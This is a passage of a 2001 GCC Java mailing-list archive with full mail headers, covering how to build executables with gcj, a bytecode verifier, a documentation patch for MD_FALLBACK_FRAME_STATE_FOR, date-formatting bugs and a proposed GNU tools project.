[205.180.230.60]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id LAA13094; Sat, 7 Jul 2001 11:13:08 -0700 (PDT) Received: (apbianco@localhost) by fencer.cygnus.com (8.9.3/8.6.4) id LAA20499; Sat, 7 Jul 2001 11:13:07 -0700 From: Alexandre Petit-Bianco MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15175.20787.598018.64368@fencer.cygnus.com> Date: Sat, 7 Jul 2001 11:13:07 -0700 (PDT) To: "Mohammad O'mara" Cc: java@gcc.gnu.org Subject: Re: .exe In-Reply-To: <00ed01c106e9$1d8226a0$3201000a@ellipsisdigital.com> References: <00ed01c106e9$1d8226a0$3201000a@ellipsisdigital.com> X-Mailer: VM 6.62 under Emacs 19.34.1 Reply-To: apbianco@cygnus.com X-Organization: Red Hat, Sunnyvale CA, USA. X-URL: http://gcc.gnu.org/java/ X-Zippy: Hiccuping & trembling into the WASTE DUMPS of New Jersey like some drunken CABBAGE PATCH DOLL, coughing in line at FIORUCCI'S!! > how can i make an .exe file from .class or .java files using gcj ? > .. i.e. compine all the classes of a certain application in one .exe > file to run on linux and pentiumIII .. There's some documentation on our website: http://gcc.gnu.org/java/gcj2.html http://gcc.gnu.org/java/compile.html What is missing from there is a simple example. Say you have 2 source file and one class file: a.java, b.java and c.class. You build objects first, by running `gcj -c' on every files: gcj -c a.java gcj -c b.java gcj -c c.class Then you link all these objects into a single executable. --main let you tell the compiler which class contains the main entry point. Let's say class c in our example. You would link an executable like so: gcj a.o b.o c.o --main=c This produces the default `a.out' executable. Of course, once you get tired of repeating these steps, you write a makefile, or a least a script which is fine if you project is small. > also , is the gcj version that comes with Linux redhat 7.1 a native > compiler or cross compiler ? It is a native compiler. We strongly encourage you to download and build gcc 3.0, a much better quality compiler. ./A From java-return-6399-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 07 19:55:09 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 29932 invoked by alias); 7 Jul 2001 19:55:09 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 29909 invoked from network); 7 Jul 2001 19:55:06 -0000 Received: from unknown (HELO bothner.com) (216.102.199.253) by sourceware.cygnus.com with SMTP; 7 Jul 2001 19:55:06 -0000 Received: (from bothner@localhost) by bothner.com (8.11.0/8.11.0) id f67JvM004224; Sat, 7 Jul 2001 12:57:22 -0700 X-Authentication-Warning: bothner.com: bothner set sender to per@bothner.com using -f To: "Anthony Green" Cc: "Enver Haase" , "Java@Gcc. Gnu. Org" Subject: Re: Java Bytecode verifier References: <01070712143500.11521@haneman> <00ec01c1070f$715feb60$5be6b4cd@cygnus.com> From: Per Bothner Date: 07 Jul 2001 12:57:22 -0700 In-Reply-To: <00ec01c1070f$715feb60$5be6b4cd@cygnus.com> Message-ID: Lines: 32 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Academic Rigor) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii "Anthony Green" writes: > I suppose we'll have the same difficulty with BCEL, which appears to be dual > licensed (LGPL + Mozilla). Or perhaps we could use Per's gnu.bytecode > package instead... > > http://sources.redhat.com/kawa/api/gnu/bytecode/package-summary.html Actually, the latest version is now at www.gnu.org with the rest of Kawa, at: http://www.gnu.org/software/kawa/api/gnu/bytecode/package-summary.html I guess I should replace http://sources.redhat.com/kawa by a forwarding pointer. The gnu.bytecode package doesn't have a verifier, and it probably isn't optimal for adding one. If we incorporate a JIT such as Intels' ORP, it might have at least some of the framework for a verifier. After all it does have to parse and analyze bytecode. I think the most efficient solution would be to plug a verifier into the ORP framework. I do know that Kresten Krab Thorup (who wrote the libgcj interpreter) has written a verifier, but I don't think it is designed to plug into libgcj. In any case, if we have a volunteer for adding a verifier, that;s great. -- --Per Bothner per@bothner.com http://www.bothner.com/per/ From java-return-6400-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 07 21:39:39 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 22482 invoked by alias); 7 Jul 2001 21:39:38 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 22442 invoked from network); 7 Jul 2001 21:39:37 -0000 Received: from unknown (HELO cc730106-b.taylor1.mi.home.com) (24.13.63.84) by sourceware.cygnus.com with SMTP; 7 Jul 2001 21:39:37 -0000 Received: from localhost (jsturm@localhost) by cc730106-b.taylor1.mi.home.com (8.9.3/8.9.3) with ESMTP id SAA28272; Sat, 7 Jul 2001 18:57:36 -0400 X-Authentication-Warning: mars.deadcafe.org: jsturm owned process doing -bs Date: Sat, 7 Jul 2001 18:57:36 -0400 (EDT) From: Jeff Sturm X-Sender: jsturm@mars.deadcafe.org To: Tom Tromey cc: Java Discuss List , GCC Hackers Subject: Re: gcj 3.0 post-mortem In-Reply-To: <87ith8d06l.fsf@creche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 4 Jul 2001, Tom Tromey wrote: > - Ideally we would get the Solaris port working. It is unclear if > Andrew has the time to do that though. I spent some time on it just prior to the release. The signal handling can be solved either by requiring sjlj exceptions, or defining MD_FALLBACK_FRAME_STATE_FOR on solaris. Unfortunately, the former is undesirable, and the latter difficult. Prerequisites to implementing MD_FALLBACK_FRAME_STATE_FOR are: - we can reliably detect when executing in a signal handler, and - the sigcontext can somehow be obtained from the call stack. This is without imposing any special requirements on the signal handler. The details on just how to do this vary by hardware and OS, and probably different releases of the OS as well. It will require some reverse engineering on platforms where kernel/libc source is not available... I don't believe the stack layout of a signal handler is specified by the platform ABI. Jeff From java-return-6401-listarch-java=gcc.gnu.org@gcc.gnu.org Sat Jul 07 23:16:54 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13619 invoked by alias); 7 Jul 2001 23:16:53 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13550 invoked from network); 7 Jul 2001 23:16:51 -0000 Received: from unknown (HELO navy.csi.cam.ac.uk) (131.111.8.49) by sourceware.cygnus.com with SMTP; 7 Jul 2001 23:16:51 -0000 Received: from student.cusu.cam.ac.uk ([131.111.179.82] helo=kern.srcf.societies.cam.ac.uk ident=mail) by navy.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 15J1Jf-0006pR-00; Sun, 08 Jul 2001 00:16:47 +0100 Received: from jsm28 (helo=localhost) by kern.srcf.societies.cam.ac.uk with local-esmtp (Exim 3.12 #1 (Debian)) id 15J1Jf-0000gI-00; Sun, 08 Jul 2001 00:16:47 +0100 Date: Sun, 8 Jul 2001 00:16:44 +0100 (BST) From: "Joseph S. Myers" X-X-Sender: To: Jeff Sturm cc: Tom Tromey , Java Discuss List , GCC Hackers Subject: Re: gcj 3.0 post-mortem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sat, 7 Jul 2001, Jeff Sturm wrote: > MD_FALLBACK_FRAME_STATE_FOR on solaris. > > Unfortunately, the former is undesirable, and the latter difficult. > Prerequisites to implementing MD_FALLBACK_FRAME_STATE_FOR are: So, you understand MD_FALLBACK_FRAME_STATE_FOR? Would you like to document it in tm.texi, since the person who added it still hasn't done so despite previous requests and bug reports ? -- Joseph S. Myers jsm28@cam.ac.uk From java-return-6402-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 08 07:05:38 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 6877 invoked by alias); 8 Jul 2001 07:05:37 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 6806 invoked from network); 8 Jul 2001 07:05:35 -0000 Received: from unknown (HELO cygnus.com) (205.180.230.5) by sourceware.cygnus.com with SMTP; 8 Jul 2001 07:05:35 -0000 Received: from dot.cygnus.com (dot.cygnus.com [205.180.230.224]) by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id AAA14724; Sun, 8 Jul 2001 00:05:29 -0700 (PDT) Received: (from rth@localhost) by dot.cygnus.com (8.11.0/8.11.0) id f6875TS04701; Sun, 8 Jul 2001 00:05:29 -0700 X-Authentication-Warning: dot.cygnus.com: rth set sender to rth@redhat.com using -f Date: Sun, 8 Jul 2001 00:05:29 -0700 From: Richard Henderson To: "Joseph S. Myers" Cc: Jeff Sturm , Tom Tromey , Java Discuss List , GCC Hackers Subject: Re: gcj 3.0 post-mortem Message-ID: <20010708000529.A4698@redhat.com> Mail-Followup-To: Richard Henderson , "Joseph S. Myers" , Jeff Sturm , Tom Tromey , Java Discuss List , GCC Hackers References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from jsm28@cam.ac.uk on Sun, Jul 08, 2001 at 12:16:44AM +0100 On Sun, Jul 08, 2001 at 12:16:44AM +0100, Joseph S. Myers wrote: > So, you understand MD_FALLBACK_FRAME_STATE_FOR? Would you like to > document it in tm.texi, since the person who added it still hasn't done > so despite previous requests and bug reports Sorry for being so delinquent. r~ Index: tm.texi =================================================================== RCS file: /cvs/gcc/egcs/gcc/doc/tm.texi,v retrieving revision 1.25 diff -c -p -d -r1.25 tm.texi *** tm.texi 2001/07/07 01:07:17 1.25 --- tm.texi 2001/07/08 07:04:33 *************** This describes the stack layout and call *** 2496,2501 **** --- 2496,2502 ---- @menu * Frame Layout:: + * Exception Handling:: * Stack Checking:: * Frame Registers:: * Elimination:: *************** You only need to define this macro if th *** 2680,2685 **** --- 2681,2698 ---- want to support call frame debugging information like that provided by DWARF 2. + @findex SMALL_STACK + @item SMALL_STACK + Define this macro if the stack size for the target is very small. This + has the effect of disabling gcc's built-in @samp{alloca}, though + @samp{__builtin_alloca} is not affected. + @end table + + @node Exception Handling + @subsection Exception Handling Support + @cindex exception handling + + @table @code @findex EH_RETURN_DATA_REGNO @item EH_RETURN_DATA_REGNO (@var{N}) A C expression whose value is the @var{N}th register number used for *************** handled. @var{encoding} is the format c *** 2755,2765 **** of bytes that the format occupies, @var{addr} is the @code{SYMBOL_REF} to be emitted. ! @findex SMALL_STACK ! @item SMALL_STACK ! Define this macro if the stack size for the target is very small. This ! has the effect of disabling gcc's built-in @samp{alloca}, though ! @samp{__builtin_alloca} is not affected. @end table @node Stack Checking --- 2768,2788 ---- of bytes that the format occupies, @var{addr} is the @code{SYMBOL_REF} to be emitted. ! @findex MD_FALLBACK_FRAME_STATE_FOR ! @item MD_FALLBACK_FRAME_STATE_FOR(@var{context}, @var{fs}, @var{success}) ! This macro allows the target to add cpu and operating system specific ! code to the call-frame unwinder for use when there is no unwind data ! available. The most common reason to implement this macro is to unwind ! through signal frames. ! ! This macro is called from @code{uw_frame_state_for} in @file{unwind-dw2.c} ! and @file{unwind-ia64.c}. @var{context} is an @code{_Unwind_Context}; ! @var{fs} is an @code{_Unwind_FrameState}. Examine @code{context->ra} ! for the address of the code being executed and @code{context->cfa} for ! the stack pointer value. If the frame can be decoded, the register save ! addresses should be updated in @var{fs} and the macro should branch to ! @var{success}. If the frame cannot be decoded, the macro should do ! nothing. @end table @node Stack Checking From java-return-6403-listarch-java=gcc.gnu.org@gcc.gnu.org Sun Jul 08 10:18:29 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 32150 invoked by alias); 8 Jul 2001 10:18:27 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 32072 invoked from network); 8 Jul 2001 10:18:23 -0000 Received: from unknown (HELO navy.csi.cam.ac.uk) (131.111.8.49) by sourceware.cygnus.com with SMTP; 8 Jul 2001 10:18:23 -0000 Received: from student.cusu.cam.ac.uk ([131.111.179.82] helo=kern.srcf.societies.cam.ac.uk ident=mail) by navy.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 15JBds-0001D6-00; Sun, 08 Jul 2001 11:18:20 +0100 Received: from jsm28 (helo=localhost) by kern.srcf.societies.cam.ac.uk with local-esmtp (Exim 3.12 #1 (Debian)) id 15JBdr-000557-00; Sun, 08 Jul 2001 11:18:19 +0100 Date: Sun, 8 Jul 2001 11:18:15 +0100 (BST) From: "Joseph S. Myers" X-X-Sender: To: Richard Henderson cc: Jeff Sturm , Tom Tromey , Java Discuss List , GCC Hackers Subject: Re: gcj 3.0 post-mortem In-Reply-To: <20010708000529.A4698@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sun, 8 Jul 2001, Richard Henderson wrote: > Sorry for being so delinquent. > Index: tm.texi Thanks; if you've reviewed the lists of undocumented target macros you will have noted more which you added which I trust you're now working on documenting (e.g., the handling of varargs via builtins, where the manual still only documents the old way two years later) . If we ever get a freeze on code until the documentation is brought up to date, as Phil Edwards proposed , I'll volunteer to create and maintain during the freeze lists of what needs documenting, who checked it in and who wrote the patches adding the undocumented features. -- Joseph S. Myers jsm28@cam.ac.uk From java-return-6404-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 09 01:32:25 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 19239 invoked by alias); 9 Jul 2001 01:32:24 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 19219 invoked from network); 9 Jul 2001 01:32:23 -0000 Received: from unknown (HELO waitaki.otago.ac.nz) (139.80.75.140) by sourceware.cygnus.com with SMTP; 9 Jul 2001 01:32:23 -0000 Received: from waitaki.otago.ac.nz (IDENT:bryce@reason.otago.ac.nz [139.80.119.17]) by waitaki.otago.ac.nz (8.11.2/8.11.2) with ESMTP id f691YIW10958; Mon, 9 Jul 2001 13:34:18 +1200 Message-ID: <3B490A7B.C7106F2C@waitaki.otago.ac.nz> Date: Mon, 09 Jul 2001 13:35:56 +1200 From: Bryce McKinlay X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0-test9 i686) X-Accept-Language: en MIME-Version: 1.0 To: Nic Ferrier CC: java@gcc.gnu.org Subject: Re: date formatting References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Nic Ferrier wrote: > I think Tom mentioned (a day or two ago) some problems with the > java.text date formating implementation. > > It certainly is broken in my GCC 3.0 distrib. Yep. The mainline has various fixes that 3.0 doesn't, however even there are still numerous problems. > Paperclips needs date formatting to do conditional-gets so I need it > fixed in GCJ. > > I'm happy to do it, does anybody have a view of what is broken? Is it > fundamentally screwed or just a little bit wonky? My impression from looking at this a bit recently is that its mostly not fundamentally broken, just buggy or incomplete in some cases and implementing older versions of the spec in others. Calendar and (Simple)DateFormat in particular are still quite buggy, and I have several fixes (including one that makes it Y2K compliant, hehe) in my local tree that I hope to finish and check in during the next few weeks as time allows. Unfortunately I'm constrained a bit when working on this Date stuff as I don't have a copy of the appropriate JCL book. If anyone wants to donate a copy of a JCL book to help further GCJ development please let me know ;-) regards [ bryce ] From java-return-6405-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 09 02:16:46 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 28643 invoked by alias); 9 Jul 2001 02:16:44 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 28622 invoked from network); 9 Jul 2001 02:16:43 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 9 Jul 2001 02:16:43 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15JQbF-0005ib-00 for ; Mon, 09 Jul 2001 03:16:37 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Mon, 09 Jul 2001 03:18:29 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Mon, 09 Jul 2001 03:09:02 +0100 From: "Nic Ferrier" To: bryce@waitaki.otago.ac.nz Cc: java@gcc.gnu.org Subject: Re: date formatting Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline >>> Bryce McKinlay 09-Jul-01 2:35:56 AM >>> Calendar and (Simple)DateFormat in particular are still quite buggy, and I have several fixes (including one that makes it Y2K compliant, hehe) I have a partial fix for parsing time zones (the current code does not have a finished impl for any zzz parsing). I'm not entirely sure about the fix though because I have to admit that I don't really understand the SimpleTimeZone. Partly my lack of understanding comes through arrogance, because I live on the meridian I don't have to worry much about TZs (you may have celebrated the 4th last week, control our economy and tell our prime minister what color shirt he should wear - but we're still setting your clocks /8-) The thing I most don't understand is how DSTs come into it all... the code that exists in SimpleDateFormat and DateFormatSymbols makes it look like Java is supposed to parse strings with DST timezones but how is it supposed to know the time zone ids for DSTs? PDT is not created as a static TimeZone (neither is my own DST: BST). And SimpleTimeZone doesn't appear to have a system for handling DST->base-TZs because it doesn't accept a DST id in any of it's constructors. Anyway, I have a fix that at least allows me to parse HTTP dates and get the correct date so now Paperclips quite merrily sends 304s. Should I send it to the patches list? Unfortunately I'm constrained a bit when working on this Date stuff as I don't have a copy of the appropriate JCL book. If anyone wants to donate a copy of a JCL book to help further GCJ development please let me know ;-) I'd be quite happy to receive a copy if there's going to be someone giving them out /;-> Nic From java-return-6406-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 09 14:08:44 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 13402 invoked by alias); 9 Jul 2001 14:08:44 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 13379 invoked from network); 9 Jul 2001 14:08:43 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 9 Jul 2001 14:08:43 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15JbiL-0005qu-00 for ; Mon, 09 Jul 2001 15:08:41 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Mon, 09 Jul 2001 15:10:34 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Mon, 09 Jul 2001 15:03:40 +0100 From: "Nic Ferrier" To: java@gcc.gnu.org,classpath@gnu.org, classpathx-discuss@gnu.org Subject: Java tools Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Julian Schied has had some conversations with various people about his Javadoc implementation. It seems that the code doesn't really fit into any of the current GNU projects: - not kaffe, japhar or GCJ because it's not a compiler or VM - not Classpath because it's not core libs - not Classpathx because it's not an extension I have proposed to Julian that a new GNU project be setup called: java-tools. We can put things like javadoc and jar-tool implementations under that project. Does anyone have any objections to that? Nic Ferrier From java-return-6407-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 09 15:01:05 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 3465 invoked by alias); 9 Jul 2001 15:01:02 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 3191 invoked from network); 9 Jul 2001 15:00:46 -0000 Received: from unknown (HELO smtp.netreach.net) (207.29.195.121) by sourceware.cygnus.com with SMTP; 9 Jul 2001 15:00:46 -0000 Received: (qmail 26695 invoked by uid 102); 9 Jul 2001 15:00:44 -0000 Received: from cc257928-a.neave1.pa.home.com (HELO netreach.com) (24.23.77.187) by smtp.netreach.net with SMTP; 9 Jul 2001 15:00:44 -0000 Message-ID: <3B49C702.55CF9EC5@netreach.com> Date: Mon, 09 Jul 2001 11:00:18 -0400 From: Stuart Ballard X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2 i686) X-Accept-Language: en MIME-Version: 1.0 To: Nic Ferrier CC: java@gcc.gnu.org, classpath@gnu.org, classpathx-discuss@gnu.org Subject: Re: Java tools References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Nic Ferrier wrote: > > I have proposed to Julian that a new GNU project be setup called: > java-tools. We can put things like javadoc and jar-tool > implementations under that project. > > Does anyone have any objections to that? Sun might - they don't like people using the name "Java" for things. (Just ask the guy who wrote "Java invaders", and also the java.apache.org people). I have no idea to what extent they have a legitimate claim here (they certainly do own the trademark, but then they use the same trademark all throughout their public APIs, which IANAL so I don't know what to make of. I remember that Classpath even had to change it's subtitle to "Essential libraries for the java platform" instead of "Essential libraries for Java" in line with Sun's stated policy. I like the idea, but I think a different name for it might be in order... how about gtj in line with gcj? Stuart. From java-return-6408-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 09 15:05:49 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 4916 invoked by alias); 9 Jul 2001 15:05:49 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 4865 invoked from network); 9 Jul 2001 15:05:41 -0000 Received: from unknown (HELO owls-house.tapsellferrier.co.uk) (195.7.242.237) by sourceware.cygnus.com with SMTP; 9 Jul 2001 15:05:41 -0000 Received: from muddy-patch.tapsellferrier.co.uk ([195.7.242.227] helo=tapsellferrier.co.uk) by owls-house.tapsellferrier.co.uk with smtp (Exim 3.12 #1 (Debian)) id 15JcbP-0005rq-00 for ; Mon, 09 Jul 2001 16:05:36 +0100 Received: from tf-Message_Server by tapsellferrier.co.uk with Novell_GroupWise; Mon, 09 Jul 2001 16:07:29 +0100 Message-Id: X-Mailer: Novell GroupWise 5.2 Date: Mon, 09 Jul 2001 16:00:33 +0100 From: "Nic Ferrier" To: sballard@netreach.com Cc: java@gcc.gnu.org,classpath@gnu.org, classpathx-discuss@gnu.org Subject: Re: Java tools Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline >>> Stuart Ballard 09-Jul-01 4:00:18 PM >>> Sun might - they don't like people using the name "Java" for things. The FSF doesn't use the word either. It was a mistake for me to call the project that. The project wouyld actually be called something like "class-tools" but we can come up with a name later. I'm more interested in knowing if there are any objections to the idea of a seperate project for tools. I like the idea, but I think a different name for it might be in order... how about gtj in line with gcj? Could be a good one... I don't think it matters what the name is. The FSF leadership are quite good at suggesting names for projects. Nic From java-return-6409-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 09 17:15:55 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 14439 invoked by alias); 9 Jul 2001 17:15:50 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 14417 invoked from network); 9 Jul 2001 17:15:47 -0000 Received: from unknown (HELO brainy1.ie-eg.com) (194.79.96.40) by sourceware.cygnus.com with SMTP; 9 Jul 2001 17:15:47 -0000 Received: from momara ([213.154.48.18]) by brainy1.ie-eg.com (8.9.3/8.9.3) with SMTP id UAA01155 for ; Mon, 9 Jul 2001 20:18:43 +0300 (EET DST) Message-ID: <004701c1089a$ca38a420$1e01000a@ellipsisdigital.com> From: "Mohammad O'mara" To: Subject: package declaration Date: Mon, 9 Jul 2001 20:15:22 +0300 Organization: Information Technology Institute MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0040_01C108B3.E21F8810" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 This is a multi-part message in MIME format. ------=_NextPart_000_0040_01C108B3.E21F8810 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I wanted to generate an executable file for my application , so I = generated the object files successfully. But when linking them it gave = me strange errors moving me to 2 files under /temp and I didn't find = these files ! .. I tried many things to debug my source code . and by = accident I doubted the package declaration , which is very normal for = example when dealing with JDK .. package packagename; ... and I deleted = this line from my source code .. and it worked like that generating the = exe file ! .. so , is this something normal in gcj and I don't know ?! = .. maybe there is something conventional in that and I don't know .. = please help me in that , because I have lots of source files and I'll = delete that from them all ..=20 thanks ------=_NextPart_000_0040_01C108B3.E21F8810 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I wanted to generate an executable file = for my=20 application , so I generated the object files successfully. But when = linking=20 them it gave me strange errors moving me to 2 files under /temp and = I=20 didn't find these files ! .. I tried many things to debug my source code = . and=20 by accident I doubted the package declaration , which is very normal for = example=20 when dealing with JDK .. package packagename; ... and I deleted = this=20 line from my source code .. and it worked like that generating the exe = file ! ..=20 so , is this something normal in gcj and I don't know ?! .. maybe there = is=20 something conventional in that and I don't know .. please help me in = that ,=20 because I have lots of source files and I'll delete that from them all = ..=20
thanks
------=_NextPart_000_0040_01C108B3.E21F8810-- From java-return-6410-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 09 17:23:24 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 17038 invoked by alias); 9 Jul 2001 17:23:21 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 16928 invoked from network); 9 Jul 2001 17:23:11 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by sourceware.cygnus.com with SMTP; 9 Jul 2001 17:23:11 -0000 Received: from cuddles.cambridge.redhat.com (cuddles.cambridge.redhat.com [172.16.18.86]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 51FE2ABAF8; Mon, 9 Jul 2001 18:23:03 +0100 (BST) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.0/8.11.0) id f69HN2O32421; Mon, 9 Jul 2001 18:23:02 +0100 X-Authentication-Warning: cuddles.cambridge.redhat.com: aph set sender to aph@cambridge.redhat.com using -f From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15177.59510.237554.763178@cuddles.cambridge.redhat.com> Date: Mon, 9 Jul 2001 18:23:02 +0100 (BST) To: "Mohammad O'mara" Cc: Subject: package declaration In-Reply-To: <004701c1089a$ca38a420$1e01000a@ellipsisdigital.com> References: <004701c1089a$ca38a420$1e01000a@ellipsisdigital.com> X-Mailer: VM 6.75 under Emacs 20.7.1 Mohammad O'mara writes: > I wanted to generate an executable file for my application , so I > generated the object files successfully. Right. > But when linking them it gave me strange errors moving me to 2 > files under /temp and I didn't find these files ! What strange errors where these? > .. I tried many things to debug my source code Compiling with `-g' and then using gdb is usally the Right Thing to do. >. and by accident I doubted the package declaration , which is very >normal for example when dealing with JDK .. package packagename; >... and I deleted this line from my source code .. and it worked >like that generating the exe file ! Well, let me try. z.java: ----------------------------------------------------------- package foo; class z { public static void main (String argv[]) { System.out.println ("Hello"); } } ------------------------------------------------------------------ Then: > gcj z.java --main=foo.z > ./a.out Hello > Looks good to me. Andrew. From java-return-6411-listarch-java=gcc.gnu.org@gcc.gnu.org Mon Jul 09 22:57:45 2001 Return-Path: Delivered-To: listarch-java@gcc.gnu.org Received: (qmail 27634 invoked by alias); 9 Jul 2001 22:57:45 -0000 Mailing-List: contact java-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-owner@gcc.gnu.org Delivered-To: mailing list java@gcc.gnu.org Received: (qmail 27531 invoked from network); 9 Jul 2001 22:57:41 -0000 Received: from unknown (HELO mail8.nc.rr.com) (24.93.67.55) by sourceware.cygnus.com with SMTP; 9 Jul 2001 22:57:41 -0000 Received: from lyta.haphazard.org ([66.26.249.119]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Mon, 9 Jul 2001 18:57:22 -0400 Received: (from cbj@localhost) by lyta.haphazard.org (8.11.2/8.11.0) id f69Msjj11328; Mon, 9 Jul 2001 18:54:45 -0400 X-Authentication-Warning: lyta.haphazard.org: cbj set sender to cbj@gnu.org using -f To: "Nic Ferrier" Cc: sballard@netreach.com, java@gcc.gnu.org, classpath@gnu.org, classpathx-discuss@gnu.org Subject: Re: Java tools References: From: Brian Jones Date: 09 Jul 2001 18:54:44 -0400 In-Reply-To: "Nic 